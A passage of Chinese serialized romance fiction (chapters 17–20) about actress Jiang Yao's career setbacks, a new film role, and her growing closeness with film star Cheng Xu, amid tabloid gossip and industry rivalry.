后半程江遥一直在脑海里上演电影，程绪也不是话多的人，就这么沉默着，车子稳稳停在了小区门口。
看着外面熟悉的风景，江遥才后知后觉地想起，好像都没有问我地址吧？不愧是影帝的助理，记忆力也非一般人可比。
下车前，江遥再三感谢他们之前助人为乐，今天本来说好自己请客最后也还是程绪掏的腰包，这人情反倒越欠越大。
江遥一手扶着车门，探头直直望进程绪的眼睛，想让他看清自己眼里的认真：“下次一定我请，不然我……”
话未说完，程绪微微阖上眼睫，遮住眼底的晦暗，玩味地接上：“良心不安?”
江遥狠狠点头，她一向不喜欢欠别人的。
“可以，等我空了联系你。”他最后表示。
踢掉脚上的高跟鞋，换下身上的裙子，准备明天送去干洗。这件衣服还是几年前的款，但是经典耐看，之前出席活动穿过一回后，品牌同款直接卖断货。
小鱼估摸着她已经到家，掐着点摸过来：「怎么样？」
江遥装傻：「什么怎么样？」
小鱼直接一个视频弹了过来，江遥歪在沙发上，切换成语音通话。
光听声音就能感觉到小鱼的激动：“当然是程影帝怎么样啊！你们什么时候背着我勾搭上的！”
“我上次就觉得奇怪，你身子一歪，他抱了你就走，我追都追不上。”
江遥望着天花板，把手机换了只手来拿，好像在认真思考小鱼的问题。半晌后，拖长了语调，悠哉悠哉地指出：“难道不是你腿短？”
小鱼低头看了看自己160的身高，再想想需要抬头仰望的程绪，果断跳过这个话题。
“那今天是怎么回事，不是说请杨越吃饭吗，早知道是他我就不去了。”
江遥继续揭穿：“我看你不是吃挺欢的么？”
“不然我能怎么办，嫌自己这盏灯泡不够亮？你没看他看我和李然的颜色，啧啧啧。”小鱼夸张地抱臂打了个哆嗦。
江遥阻止她继续发散：“没有的事，你不是在嗑他CP吗?”
意思明显：人家名草有主，不要瞎觊觎。
何况就他们俩上次见面那状况，能有火花就奇怪了。不过连着闹了几次乌龙，尴尬的场面他也瞧了个差不多，现在程绪在她这里反倒也没了什么滤镜，就当个普通的圈内前辈处着吧。
牵扯到江遥，小鱼自然是毫无立场，立马把“糖絮”抛诸脑后，果断选择换边站：“可是他们也从来没有承认啊，谁说得准。”
江遥：“打住打住，没可能的事。别胡思乱想了，先想想眼前怎么走吧。”
小鱼被她一带，语气瞬间有点伤感：“姐，你说我们不会失业吧。”
江遥懒得跟她悲春伤秋，果断挂了电话。
“我们之前猜想的没错，最开始的消息是轻音娱乐那边放出来的。”杨越把查到的信息呈给程绪，“江小姐的合同马上到期，看来是老东家提前下黑手了。”
这种事情在圈子里并不罕见，之前寰宇旗下当家花旦到期不续，和公司闹了个鸡飞狗跳。很多人初入行时为了梦想签下不平等条约，想走时不死也得脱层皮。
酒店被剧组包下，消息自然是从内部流出。
“本来么，只是想让她名声再臭点罢了，丽丽把资料给我的时候，谁能想到这么精彩呢。怪只怪她运气不好了。”经纪人慧姐拍了拍丽丽的肩膀，鼓励道：“做得很好。”
丽丽是方琦的助理，之前她和江遥换了房间，助理们却没换，丽丽房间和江遥隔得不远，那天听到敲门声，悄悄拍到了导演敲门。后面更是打起十二分精神，可算抓到了江遥上二十一楼的证据。
“本来还怕刘聪回过神来找我们麻烦，这下好了，一锅端。只是可惜了你用心拍的戏。”
方琦欣赏着新做的美甲，毫不在意：“有得必有失嘛，这还是您教我的第一课。”
何况《双生花开》一上映，江遥将会是绝对的中心，和她那点戏份毫无可比性。这笔账她还是算得清的。
“刘太太不是扬言要找人算账吗，通知她一声。”听完助理的汇报，程绪旋紧笔盖，将笔往桌上一扔，钢笔撞击桌面，发出不大不小的一声响，听得杨越心头一跳。
“是。”
刘聪事件纷纷扬扬闹了一阵后，剧组杀青，刘聪被警方带走，针对江遥的讨论也慢慢平息。
江遥这段时间就干脆窝在家里，把之前想看的书和电影翻出来，准备慢慢打发时间，顺便给自己充充电。刚弄好投影，小鱼发来了一条微信，是一个视频链接，上面文字写着“江遥不为人知的一面”。
这样咯噔的话术看得江遥跟着心里一咯噔，心想自己这是又有什么见不得人的事被翻出来了。
小鱼的信息接着进来：「看哭了！」
最初不知道是哪里流出来的试镜视频，宽敞的房间中央，有女演员在进行着无实物表演。几十个演员试的都是同一段戏，但表现各异。
有的人一进到房间就开始紧张，台词也说得磕磕绊绊，有的表现中规中矩，也没有让人眼前一亮的感觉。相对来讲，方琦表现确实挺突出，怪不得之前爆料说江遥抢了她的角色。直到看到后来，江遥的表演。
「说江遥抢她角色未免太脸大了吧，我一个外行人看着差距都很明显。」
「不是说江遥演技很差吗，这么一看也还好啊。」
「矮子里拔将军罢了，我看你是没吃过好的。」
片场花絮也流出来了一些。有人将江遥的试镜视频和片场花絮剪辑到了一起，加上煽情的BGM一烘托，瞬间将人拉进了楚云的情绪里。
「没想到有一天能在江遥身上看到演技。」
「差点给我看哭了。」
「还好我之前没有骂过她。」
「这事还有完没完了，天天上热搜，大家都看腻了。」
「人品不行演技好又怎样，抢角色是假的，敲导演门总是真的吧。」
零零星星有之前嘲过她的人改口为她发声，也有人坚称人
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品演技不能一概而论，更多的人却早已被更新鲜的新闻占据了视线，翻过了这旧的一页，懒得再听他们为陈芝麻烂谷子的事情争辩。
江遥包裹得严严实实，口罩帽子墨镜全副武装，一身休闲装扮出现在机场。Freya得知她最近杀青，决定把没拍的广告提上日程，正好宣传下秋冬新品。
小鱼还在嘀嘀咕咕跟江遥建议，拍完广告要不要顺便在那边度个假，前方的人突然像得了什么统一指令，从四面八方往一个方向开始围拢，有人听到动静，举着手机从江遥身旁跑过，生怕落于人后。
“应该是哪个流量也在机场。”小鱼对此很有经验。
虽然姐现在不算大流量，但以前只要出现在机场，就会被里三层外三层的粉丝围着，拍照、签名，寸步难行。后来只能被迫改走VIP通道。
当然，遥遥姐当初的流量多么恐怖，也是她后面考古时才知道的。她刚出道时，她还不是她的助理。
江遥把帽子往下拉了拉，低着头快速往前走，前面果然被里三圈外三圈围了起来，众人纷纷举起手机，对着被围在中间的人一顿狂拍。
程绪的官方身高应该没有水分，在这样拥挤的人潮中，江遥抬眼也能看清他像翠竹一样，傲然孑立其中。
“麻烦让一让，让一让。”保镖护着他，在两侧开道。
江遥坐着的扶梯缓缓上升，身后的喧嚣逐渐远去。
程绪若有所感，抬头望向某个方向。
杨越察觉到他的停顿，顺着视线看过去，却并没有发现什么异样。
Freya平常看着很好说话，没想到是个实打实的工作狂。江遥时差还没完全倒过来，就被拎到了摄影师面前。
这季新品拍摄，掌镜的摄影师是Freya的朋友，一个非常话痨的意大利老头。纯靠Freya当翻译，也能拉着她交流半个多小时，最后甚至问起她是否有男朋友。
他们每天都没带目标出门，大家一起去丛林漫步，去动物园遛弯，闲适得仿佛要就地野餐。灵感来时，这位刚刚还非常健谈的大叔就会立马换个芯子，要求严苛到令人发指，咔咔咔一顿拍。
几天下来，江遥被折腾得精疲力尽，大叔却兴奋得胡子直抖，毫不掩饰对江遥的欣赏，并预言这将是他近几年最成功的创作。
江遥知道Matteo夸张的风格，听听笑过也没放在心上。
“外国人都这么直白的吗，情绪价值给得也太到位了。”小鱼站在旁边都有点扛不住这连番彩虹屁，拉着江遥悄悄咬耳朵，“不过咱这代言费可真难挣啊，我瞧着你这几天都瘦了。”
因为饮食不太习惯，加上有时差，江遥这几天确实胃口不算好。
Freya仿佛知道他们在想什么，却并没有点破。Matteo虽然有时候看起来不太着调，对自己的作品却有着近乎变态的执着。知道模特是个名不见经传的小演员时，还扬言要先见过本人再说。
能得他一句夸奖，可见自己的代言人并没有选错。有点期待成片了呢。
17. 又见面了
飞机落地A市。
江遥等行李的功夫，汪静静已经到了机场。她杀青后下一个组暂时还没定下，干脆去把报了几年的驾照拿了。
新司机上路没几天，自告奋勇要来给好姐妹接机，顺便把约了很久没约上的饭给解决掉。
汪静静开着她的座驾兜了半圈都没有找到停车位，好不容易看到一个，正准备将自己的车往那腾挪。结果再一看，旁边停着一辆非常骚包的跑车，一看就不怎么便宜。
她小心翼翼倒车入库，生怕一不小心全部家当就被自己手一抖给作没了。
刚刚把车停稳，手还有点微微发抖。江遥电话过来，单刀直入：“你在哪儿呢?”
汪静静看了看附近的标志，告诉她具体位置，说完觉得不够明显，还特别提醒：“旁边还停了辆粉红色的跑车，你看到就知道了。”
“午饭就去津津私房菜馆解决吧，这家馆子新开没多久，有朋友前不久去吃过，听说味道一绝，圈内很多人去。”汪静静想这一口很久了。
“听你的。”江遥对吃的都不挑，边走边用余光寻找着她说的粉色跑车。
“哎哎哎～”汪静静在那边惊呼，而后不无遗憾地告诉江遥，“跑车刚开走了，你还是看我发你的标志吧，就在那个灯右手边不远。”
“刚刚上去一个超有型的男人，秒杀圈内那些自视甚高的歪瓜裂枣。我用人格担保。”车子已经开远了，她还在回味，“可惜动作太快没看清。”
“好了，开车吧。汪静静小姐。”江遥拉开车门，利索地上了车。
汪静静风风火火地拉着她直奔餐馆，将车停在了一条小巷入口。
这家私房菜馆开在巷子深处，停车后还得往前走，走到半道有侍应生前来引路。
青石板铺成的路面，宽阔干净，蜿蜒着向深处延伸，推开院门，有竹丛环绕，流水淙淙，一脚踏入，他们就像误入世外桃源的旅人。
闹中取静的布置，接待的都是名流巨擘，而且单就这个院子，也不是光有钱就能拥有的。
二人被引到包间坐下，汪静静知道江遥的个性，自己早早就做好了功课，几分钟点完菜，嘴里也没闲着：“听说这家的汤一绝，不尝相当于白来一趟！”
汪静静的性格和名字背道而驰，有她在的场子就不用担心冷场。两人能够相熟，也多亏了她的自来熟。
江遥刚入大学时，初到一个陌生环境，整个人比较安静，但即使在遍地俊男靓女的电影学院，她的颜值也属于独一档的优越。其他人看她不吭声，要不偷偷说她高冷不合群，要不怕在她面前被对比得太惨烈，干脆默默保持距离。
只有汪静静主动走近她，才发现高冷只是她慢热时的武装。后来拍戏上课两头忙，别人还在上学她就爆得天花乱坠，也没有和其他人处出多深刻的同学情来。
隔壁包间，齐淮姗姗来迟，进门就主动认错：“不好意思，组里临时有事耽搁了。”
周颂跷着二郎腿，闻言精神一振，像见到了什么西洋景：“哟呵，还有人敢在你面前尥蹶子呢。”
“别提了，一个几分钟的配角，但要够灵气够惊艳，挑人都挑了几个月，结果临到开拍来跟我说没状态。”他端起桌上的茶牛饮几口，赞许点头，“你这茶倒不错。”
周颂懒得理他的奉承，直接拆台：“你给人家多少钱啊，几分钟的戏要求这么多。”
齐淮懒得理他，看程绪坐在一边，想跟同行那找点认同感：“我要活泼灵气，结果她天天给我演生无可恋，你说这像话吗?分个手跟要了半条命似的。”
程绪没言声，记忆深处，刚刚还蹲在墙角默默垂泪的小姑娘，听到工作人员开拍提醒，立马换上笑脸应道“来啦！”戏外为爱伤神，戏内仍能演得甜蜜爆表以假乱真，小小年纪就很有责任心。
周颂适时捧场：“太不敬业了，是该换。”
齐淮捏了捏眉心，很是苦恼：“问题就是这新人选不好找，看了一下午都没有合适的。”
周颂才不管他那么多，张罗着侍应生把菜摆上桌，殷勤地给程绪盛了一碗汤，“哥，来尝尝，这汤可是不传秘方。”
几人难得聚一起，算是给周颂新店捧场。齐淮收起繁杂的心绪，问旁边不怎么吭声的程绪：“你这次出山还打算接戏吗?还是直接回去继承家业了?”
周颂看不惯他这拐弯抹角的风格：“哥他自己事业做得好好的，才不耐烦被人管着呢。又不像我不学无术。”
程绪目光淡淡看过来，留给周颂一个自行领会的眼神，仿佛在说“算你有点自知之明”。
程绪从小就是别人家的孩子，周颂比他小几岁，却总爱跟他玩在一块儿。周颂家长管不住儿子，偏就程绪管得住。一路在程绪的阴影下长大，他乐呵呵的毫不受影响，反而对程绪有种近乎盲目的崇拜。
“怎么样?”汪静静边吃边不忘问江遥的意见。
江遥舀了勺汪静静极力推荐的汤，眉目舒展，大方捧场，肯定姐妹的眼光：“确实好喝。”
江遥近几年黑热搜不断，作为朋友汪静静从一开始怒不可遏，到现在早已经习惯，只问：“接下来什么安排?”
江遥想了想：“之前在组里时Susie给接了个封面拍摄，应该这几天会拍掉。后面的就要再看了。”
听她这么说，汪静静也知道所谓“再看”就是暂时没有其他工作。
“要不趁这段时间我们出去旅个游？”她提议，“正好毕业后我们很久没长时间待在一块了。”
汪静静的演技在电视剧里打转绰绰有余，价格实惠又为人爽快不爱作妖，口碑传开后，很多剧组都愿意向她递本子，这几年事业很有起色。江遥知道她的好意，却不想因为自己耽误好友的工作安排，“不了，你随时可能进组，我还等你赚钱了包养我呢。”
见她这样，汪静静也没
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再坚持。
两人闲谈着往外走，江遥正低着头在包里翻找东西，没留意和隔壁出来的男人撞到了一起。
“哎哟。”夸张的一声叫，倒把她吓了一跳。
周颂不耐烦地抬起眼，他就回头说句话的功夫，差点被这女人撞一仰倒。女人也正蹙着眉头望着她。
江遥的脸非常具有辨识度，曾经也是实打实的爆红过几年，周颂自然认得她。
看清她的脸，他皱起的眉头立马舒展开来，回头招呼落在后头的齐淮：“你看这个够不够惊艳？”
齐淮单手托着下巴，从头到脚将江遥扫视了一遍：外在条件非常优越。
她虽然望着他们没有出声，但眼眸里已经有怒意在聚起，显然是对这不礼貌的打量很是介意，往这美得很有距离感的脸上增添了几丝烟火气。
他越看越满意，单说惊艳江遥绝对是够格的，至于灵动，总共才几分钟的戏份，有了这幅皮囊，就算是朽木他也保证能雕出花来。电影某种程度上也是剪辑的艺术，拍个几十条总能凑出几分钟的高光时刻。
至于档期嘛，同在一个圈子里，他也大概知道江遥目前的处境。而且总共戏份也没多少，耽误不了多大事。
他拿定主意，正想问问江遥的意思。刚刚还在房间里和人聊工作的程绪已经挂断电话走了出来，看他俩都堵在门口不动，纳闷：“怎么都杵在这儿？”
还是淡淡的语气，相比平常却少了几丝寒意。这道嗓音，江遥近期已经听过太多次。
她蹙起的眉头松开，视线转向声音的来源。
黑色衬衫熨帖在身上，隔着布料仿佛也能窥见其下蕴藏的力度。领口微开，露出白皙脖颈和半截若隐若现的锁骨。袖口随意挽起，外套松松挂在臂弯里，曲起的手臂上青筋根根分明，仿佛能听到血液流动的沸腾。
明明是一副谢绝窥探的禁欲装扮，江遥却偏偏看出了十足的欲色，在这样拥挤的空间里，带给她致命的吸引力。她克制住自己想吞咽的冲动，率先向他扯开笑容：“您好，又见面了。”
从第一个字落地，程绪的表情就凝在了那里，脸上看起来却还是同样的清冷疏离。对旁人而言，一点点温度的下降可能并不明显，但和他混熟了的周颂，微妙地察觉出一丝丝不对劲，却不知他的情绪从何而起。
明明只过了短短一瞬，江遥却仿佛尴尬得无所适从，以为是自己贸然出声打扰到他和朋友的私人行程，她拉了汪静静正想快步撤离，程绪好似刚刚回过神，礼貌回应：“好久不见。”
好像也没有很久吧？江遥暗自腹诽。
齐淮看他们两个相熟，赶紧把自己的想法一说：“我这有个角色，不知道江老师是否有兴趣？”
齐淮江遥是认识的，新一代导演中的代表人物，拍了几部电影，票房一般，但口碑不错。有传言他进圈其实是富二代玩票，不然就这投资回报比，早就赔了个底儿掉。
18. 相约
听完齐淮介绍，江遥当场决定接下。她对戏份没要求，角色有发挥空间就好。
近期她身上负面新闻太多，大家都想躲着是非走，哪会主动招惹。与其在家抠脚，不如机会来了大胆抓住。
三言两语定下一个角色，和齐淮互换联系方式后，两人闲谈几句准备告别。
程绪突然出声：“我这两天刚好有空。”
刚刚他们交流时，他一直站在那里没说话，这时莫名其妙来这一句，几个人闻声抬头，等他下文。
他却没再说话，率先走了出去。
周颂赶忙跟上，以为程绪是跟自己说话，兴致勃勃开始做起明天的计划：“那我们明天……”
声音远去，凝固的空气重新流动，汪静静悄悄吐出一口气，忍不住和江遥吐槽：“这么冷淡的男人，真不知道谁受得了。”
江遥还是第一次听到这种说辞，目露疑惑。
汪静静继续吐露虎狼之词：“你想想啊，在床上还板着这张冷脸，再高的热情也得被他给浇熄了。中看不中用，再好看也白搭。”
江遥顺着她的思路想了想，好像很有道理的样子。
“他们主动邀请我们拍杂志，结果就这么把我们干晾着。”
原定杂志拍摄时间是9点，他们8点多就到了现场，现在马上11点了，刚刚联系，拍摄团队的人语气非常诚恳，很抱歉地说还堵在路上，问就是没办法，他们也很着急。
小鱼在房间里走来走去，恨不得狠狠跺上两脚发泄一下怒意，让她跟人吵架还行，玩推拉是真不行。这么打太极还不如直接让他们打道回府呢。但她也知道，现在的每个机会，对江遥都很重要。
前台小妹资历相对较浅，忽悠人的功夫还没修炼纯熟，客客气气地把他们请进会客厅，进进出出添了N次水，不住安抚：“实在抱歉，麻烦再稍坐会儿。”
“再喝下去膀胱都要爆炸了。”知道他们是故意为难，如果天天为这种事情生气，那以后还会有生不完的气。小鱼像被霜打的茄子，气头过了后，此刻也蔫了下来。
以前江遥爆火的时候，国内的杂志几乎拍了个遍，杂志社抢着邀约，合作品牌也会推封面。流量慢慢退潮后，她从大刊拍到小刊，从以前的封面女郎换到了内页。
这次《精品荟》能邀请她拍摄封面，算是一次很好的曝光机会。虽然是二线杂志，但想上封的人还是抢破了头。
在那个时间点发出邀约，杂志社应该是看中了《双生花开》的后续红利，名导和老戏骨加持，他们押宝江遥这次事业会迈上新的台阶。谁想最后这么戏剧化收场。
江遥对放鸽子已经习以为常，掏出手机打算将上次没看完的纪录片补完。
门外传来嘈杂的声音，工作人员终于到了。
不管内心如何做想，见面后，大家一口一个“江老师”叫得清甜，高效完成了这次杂志拍摄。
回程路上，小鱼掰着手指头给江遥列举，杂志社不做人的二三事。
“我怀疑他们造型师是用脚做的造型，这么漂亮一张脸怎么能糟蹋成那样。”
“借的衣服也都是过季的。”
“还有那摄影师，造型都没摆好就拍了，压根就没用心。”
“杂志社是不是没给他们钱啊。”
“好了好了，晚上咱们去吃大餐如何?”江遥掏出手机挑选餐厅，准备用美食转移小鱼的注意力。
小鱼不买账，肃着一张脸，明明比江遥小几岁，却操着老妈子的心：“马上就要进组，冰箱里的储备粮还没吃完，晚上回去自己做。”
江遥一把抱住小鱼的胳膊，眼神热切：“那么小鱼大厨，今天晚餐就拜托你了！”
小鱼手脚麻利，三菜一汤很快端上桌。想想乔女士每次跟她通话都担心自己出门在外营养不良，千叮咛万嘱咐有条件还是要自己做饭，江遥直接对着桌子拍了张照片，不错，色香味俱全。选择图片，点击发布朋友圈。
工作后好友列表几乎都被同事占据，江遥干脆把无关人员通通打上标签，发朋友圈直接分组不可见。
小鱼负责做饭，江遥负责洗碗，两人分工明确。其实最初看小鱼在厨房忙活，她总是摸进去想帮忙打个下手，但是无一例外，每次都被嫌碍事赶出来。后来，江遥就主动承包了洗碗的活。
送走小鱼，江遥才拿起手机，发现朋友圈竟然有消息提醒。
很好，乔女士这么快就查阅完她的作业了。江遥笑着点进消息通知，笑意还没来得及完全绽开，就僵硬在嘴角。
等等，程绪怎么会看到她的朋友圈？她不是发的朋友可见吗？
她一骨碌从沙发上坐起身，赶紧将照片转为仅自己可见，再仔仔细细检查了下好友分组——原来忘记给程绪贴标签了。
不过人家都已经点赞了，这会儿也不好做得太明显，她只好认命地将私密朋友圈重新恢复成好友可见。
经这么一番操作，她突然想起来，程绪前些天还跟朋友说最近有时间，那她欠的饭是不是可以安排上了？不然之后再进组，时间越拖越长，显得自己特别没诚意不说，一直欠着个人情也不好受。
找到程绪的微信，江遥删删减减，却不知道如何开口。
您好，请问您什么时候方便，我们找个时间把上次说好的饭吃了？
不行不行，太不自然了。而且人家可能只是习惯性随手点赞，自己这么晚去私聊是不是不太好？
从9点纠结到9点20，浪费了宝贵的二十分钟，而且时间越晚越尴尬，显得自己像半夜故意发骚扰信息居心不良。最后江遥干脆放弃挣扎，闭着眼摁下发送键。
程绪眼睁睁看着刚刚还点赞过的朋友圈凭空消失，不玩朋友圈的人陷入了短暂的迷茫，这是打扰到她了？
下一秒微信弹出新消息。
摇啊摇：「您好，明天有空一起吃个饭？」
程绪回得很快：「可以，吃什么？」
江遥其实对选馆子没多少心得，自己请客也不好意思把问题推给人，想了想
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回复：「要不还是上次那家私房菜？我觉得味道还不错。晚餐可以么？」
C：「都可以，听你安排。」
程绪线上也是一如既往的话少，不过还挺好说话的。江遥捧着手机，发现他并不像传说中的不近人情，愉快回复：「好的，那您早点休息，明天见～」
马上要进组，江遥最近抓紧时间把喜欢的裙子轮着穿了个遍。考虑到那家私房菜馆是偏中式的装修风格，干脆随手将头发一盘，选了件旗袍上身。新角色是古装戏，正好提前适应一下古典气息。
江遥下楼的时候，黑色宾利已经稳稳停在小区门口。她快走几步，停下时还微微带了些喘：“不好意思，没等太久吧？”
“是我早到了。”
车子平稳行驶在路上，一时无人开口。
最近天黑得早，出门时还是白昼，这会儿街边的灯火已经次第亮起。江遥看着窗外飞速后退的霓虹灯，还有点没恍过神，自己怎么坐进了他的车。
脑海中快速翻拣出几次零星的相处，从颁奖礼上的遥遥一瞥，到医院沉默的陪伴，再到剧组出事时慰问的信息，这位从前只活跃在别人口口相传中的影帝，似乎不知不觉中已经与她有了过多的交集。
可能是前段时间见面相较频繁，她之前其实已经逐渐适应了他的气场，甚至因他目睹过太多尴尬场景，而有种破罐破摔的疯劲。一阵子没见，上次见面她就隐隐感觉到程绪冷淡了不少，此时一起坐在密闭的空间中，双双隐没在黑暗里，窗外的灯影偶尔点亮他的脸庞，她突然开始感到一丝没来由的紧张。长久的沉默里，周边的空气仿佛突然被凭空抽走，她有点喘不过气。
身侧的人一直绷着身子，和前几次的舒展大不相同，程绪能感觉出她的拘束。她一向如此，看似漫不经心，实则领地意识严重。对不在意的人和事懒得计较，转眼就能抛诸脑后，对被她接纳的人却很好说话。
江遥将车窗再降下一点，夜风顺着洞开的车窗钻进来，程绪目光直视前方，也许是被吹进来的风惊扰，淡淡提醒：“晚上风凉，小心感冒。”
江遥低头看了看自己裸露在外的胳膊腿，听话地升起了窗。
车子照旧停在巷口，巷子的灯是暖黄色，为这初秋的天气，增添一丝暖意。两人踩着灯影并着肩往前，仿佛迟迟归家的人，循着家门口点起了一盏盏灯，走入盈满温馨的家中，有种久违的宁静。
男人俊逸女人精致，侍应生抬起头，以为自己误入了偶像电影。女人身材恰到好处，将旗袍撑起玲珑有致的弧度，多一分过满少一分不足，搭配上那妖冶的脸，仿佛误入凡尘的妖魅。与男人身上的疏冷之气调和，却也恰到好处。
江遥冲着侍应生露出一个自认温婉的笑容，笑得人直接低下了头。
程绪不动声色将这一切收入眼底，忍不住想摇头。江遥向来美而自知，但她不知道的是，就算穿上旗袍，她的美和温婉也不怎么搭边，近距离对着人一笑，简直是赤裸裸的勾引，又有几人有定力直面这冲击。
19. 江湖救急
菜是程绪点的，点完把菜单递给江遥，江遥发现他俩口味还挺合，一大半都是她爱吃的。
“您吃甜品吗?”江遥随手勾了个蛋糕，又问程绪要不要，程绪摆摆手，江遥想想把自己的也划掉。
“马上要进组了。”江遥解释道，不无遗憾。而且进的还是古装剧，对身形要求更为严格。
等菜的过程中，场子又开始无可挽回地走向沉默，江遥开始懊恼，早知道就该把小鱼或者汪静静叫上。虽然他们都表示过和程绪一起吃饭会消化不良，但总好过她现在一个人坐立难安。
趁场面还没有彻底凉透，她顺着之前的话题，开始没话找话：“您和齐淮熟吗?他脾气怎么样?上次看你们一起吃饭，我马上要进他的组……”
“认识，脾气一般。”程绪言简意赅，反倒起了另一个话题：“我让你很不自在?”
倒也不用这么直白……
江遥想要反驳，但他的气场太强，在他面前演戏，也无异于班门弄斧，于是她力图委婉地让他明白她的意思：“主要是您站得太高了，我有点不知道该说什么。如果我现在跟人说把您当偶像，估计都得被人骂不知道自己几斤几两蹭热度呢。”
程绪交叠着双腿往后靠在椅子上，乌木似的眼睛沉沉看着江遥，江遥猜不透他眼里的情绪，只听他玩笑似的提醒：“我应该没比你大几岁，不用一口一个您。”
江遥听话颔首：“好的，程老师。”
程绪揉了揉额头，样子颇为无奈：“可以直接叫我名字。”
江遥连忙摆手，阻止他这不切实际的提议：“这要是被人听到，明天我又该上头条了，词条名字就叫#江遥小牌大耍#。”
程绪惊异于她的敏感，想想她的处境，倒也没坚持，主动退了一步：“私人场合，叫我名字就行。”
江遥从善如流：“好的。”
正好菜已上齐，两人停下交流。
饭后还是司机来接，程绪替她拉开车门，伸手虚虚护了下头顶。他表情稀松平常，仿佛重复过千百次这样的动作，江遥也不好显得大惊小怪。
可能是司机驾驶技术太好，可能是车子性能优越，也或许是车里太过安静，开出一段后，困意渐渐来袭。
一开始江遥还强撑着眼皮，摆出一副端坐的样子，不知道具体是在某个瞬间，思维失去对意志的主导，她的意识彻底脱离，不可自控地坠入了黑暗里。
脑袋靠着车门，兀自睡得安静。即使在睡梦中，也不忘和身旁的人保持距离。
前方有车辆违章操作，四周响起尖锐的鸣笛声，事发突然，司机打着方向盘紧急避让，车身猛地一晃。程绪下意识看向身旁的人，微张着手臂怕她受到撞击。
江遥被从睡梦中晃醒，感觉自己的身子正大力向着一侧甩出，下意识伸手想扶住点什么。还没来得及抓到东西，就向一侧扑进了一个结实的怀抱里。
清新的草木香将她整个包裹住，铺天盖地都是陌生的气息，随着呼吸辗转吸入肺腑里。她的意识回笼，意识到自己此刻正窝在程绪的怀中。
她只好放轻呼吸，双手在他身上借力一撑，试图从这浓稠的氛围里脱离。不料刚刚睡醒，四肢来不及跟上大脑的指令，手下一滑，直接挤进了双腿中央，贴着裤缝落在了皮质座椅上。
程绪双手还维持着虚拢的姿势，江遥低垂着头，不知道下一步该如何动作。头发被盘在脑后，嫩生生的小脸露出，没有丝毫遮掩的余地。她目光灼灼，又似茫然无措。
程绪僵着身子闭了闭眼，怕自己的动作惊扰到彻底呆住的人，只好压下心底的燥意，慢慢放缓呼吸。
寂静，寂静……一时之间，只有两道微弱的呼吸声在不大的空间里流动。
江遥实在不知如何应对这样尴尬的场景，甚至开始想能不能闭着眼装晕，还没等她想出个所以然，胃里突然一阵翻涌。
来不及想太多，她赶忙坐直身子，捂着嘴压下胃里的恶心。头抬得太快，甚至嗑到了程绪的下巴，当然她已经无暇关注了。
空气重新流动，江遥没有出声，待胃里的动静慢慢平复后，很是不好意思地开口：“抱歉，我有点想吐，可以在一旁把我放下吗?”
打量了下她的脸色，程绪示意司机靠边停车。江遥正想关门和他道别，不料他也跟着下了车，弯腰吩咐司机先走。
“我没事的，不用管我，透透气就好了。”江遥劝他先走。
自己就是晚饭吃得有点饱，加上之前车辆突然颠簸，精神又高度紧张，胃有点小反应罢了。被夜风一吹，那股恶心感慢慢缓解，只觉得神清气爽。当然，如果身边没有跟着一个人的话，就更棒了。
“正好我也很久没来这边，一起走走吧。”程绪没管她的劝告，直接带头走在了前面。
前面就是江边，很多人晚饭后会来这里散步。学生时代，江遥空闲时偶尔会和朋友来这边逛街，吃完饭在江边散散步，谈谈心。
古人说“逝者如斯”，每次看到奔流的江水，总能抚平她心底的喧嚣。江遥不再扭捏，抬步跟了上去。
男人肩宽腿长，一身手工定制西装，走在马路边也忍不住让人侧目。江遥只庆幸现在已经过了人流高峰，江边只有稀稀拉拉几个结伴而行的人，暂时没有人注意到他们。
程绪走了几步回头望过来，等江遥跟上，才继续迈开步子，换到了道路外侧。
一群中学生模样的人，穿着校服，手上抱着球，应该是刚刚运动完，打打闹闹向着这边走。
程绪混不在意，江遥倒有点紧张，虽然她自己全副武装，但如果被人拍到……她可不想和影帝上头条。
在包里找了找，翻出一个口罩递给他。眉头不自觉轻皱，带着一丝微不可察的紧张，想来是不愿意和他牵扯上。
程绪垂头看着她的动作，却没有接过，以为他是嫌弃，她又往前递了递：“我没用过的，只是习惯性往包里多塞几
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个。”
褪去夏日的燥热，此时的晚风颇为柔和，江遥的语调也很轻柔。程绪接过口罩戴上，只露出一双眼睛，半遮半掩的神秘，却散发着更魅惑的气息。
神秘的男人看着她，嘴巴一张一合，低沉的声音经过口罩的阻隔，还是清晰地响在江遥的耳廓。
“用过也没关系。”
江遥一整个愣住，不知是不是自己空耳听错，看她如临大敌，程绪慢悠悠接上下一句：“毕竟江湖救急。”
江遥趴在栏杆上，向着远处的河面眺望，慢慢冷却自己自作多情的心悸。一截葱白的脖颈，在月光映照下更显莹润，灼得人眼眸发烫。
江月年年，不知见证多少心事浮沉。
一匹马从远处奔来，卷起尘土纷纷，少女骑在马上，一身红裙如火，微风吹得环佩叮咚，面纱随着她的动作轻扬，清脆的笑声在草原回荡。
江遥翻身下马，化妆师围上来给她补妆。面纱揭开，好一张倾国倾城的脸。
已经相处了几天，化妆师还是偶尔会被江遥的美貌蛊惑。
这个角色本身就是明艳型的大美人设定，也不用考虑让妆等乌七八糟的事儿，她只需要无限放大江遥本身的优势就行。对着这样美丽又省心的脸，工作时心情都能愉快上几分。
齐淮也在对着程绪夸：“算是捡到宝了，她本身就有骑马的底子，连替身都不需要用。”
江遥正和化妆师姐姐说着话，不知道讲起什么，两人笑成一团。他指给程绪看：“你看看，这样的人来演白月光是不是有说服力多了?”
江遥在戏里演的是一个和亲公主，也是男主假死的白月光。男主对她一见钟情，却因立场的敌对对她不闻不问，放任她和女主打擂台。没想到女主被公主的性格吸引，帮助她逃出囚笼，和爱人远走天涯，继续恣意飞扬。
因为这个角色对男女主都有很大的影响，拿出去需要能够让人信服，所以为了一个没几分钟戏份的角色，费了齐淮不少心。
还好，这次押对了宝。
他越看越满意，程绪也顺着他的手势看过去，看了一下就别开了眼，敷衍地点了点头。
齐淮反应过来：“嗨，你大老远来给我捧场，我给你说这些有的没的干嘛。”
“正好孟棠昨天也过来了，说欠我的主题曲打算这部戏给我补上，咱几个好久没聚，晚上一起吃个饭?”
程绪无所谓：“你安排就好。”
他们几个都在圈子里混，另外两人早已经功成名就，就他还在坑底扑腾，程绪和孟棠偶尔会来给他撑撑场子，权当扶贫。
吃完饭已经将近十一点，齐淮明天还得早起拍戏，司机第一个送他下了车。孟棠喝了酒，程绪只好又顺了她一程，下车时她还差点发酒疯。
没想到有消息灵通的记者知道他们先后过来，早已经提前蹲好了点。
第二天，＃程绪孟棠深夜聚餐＃#糖絮酒店夜会#又被送上了头条。
20. 手滑
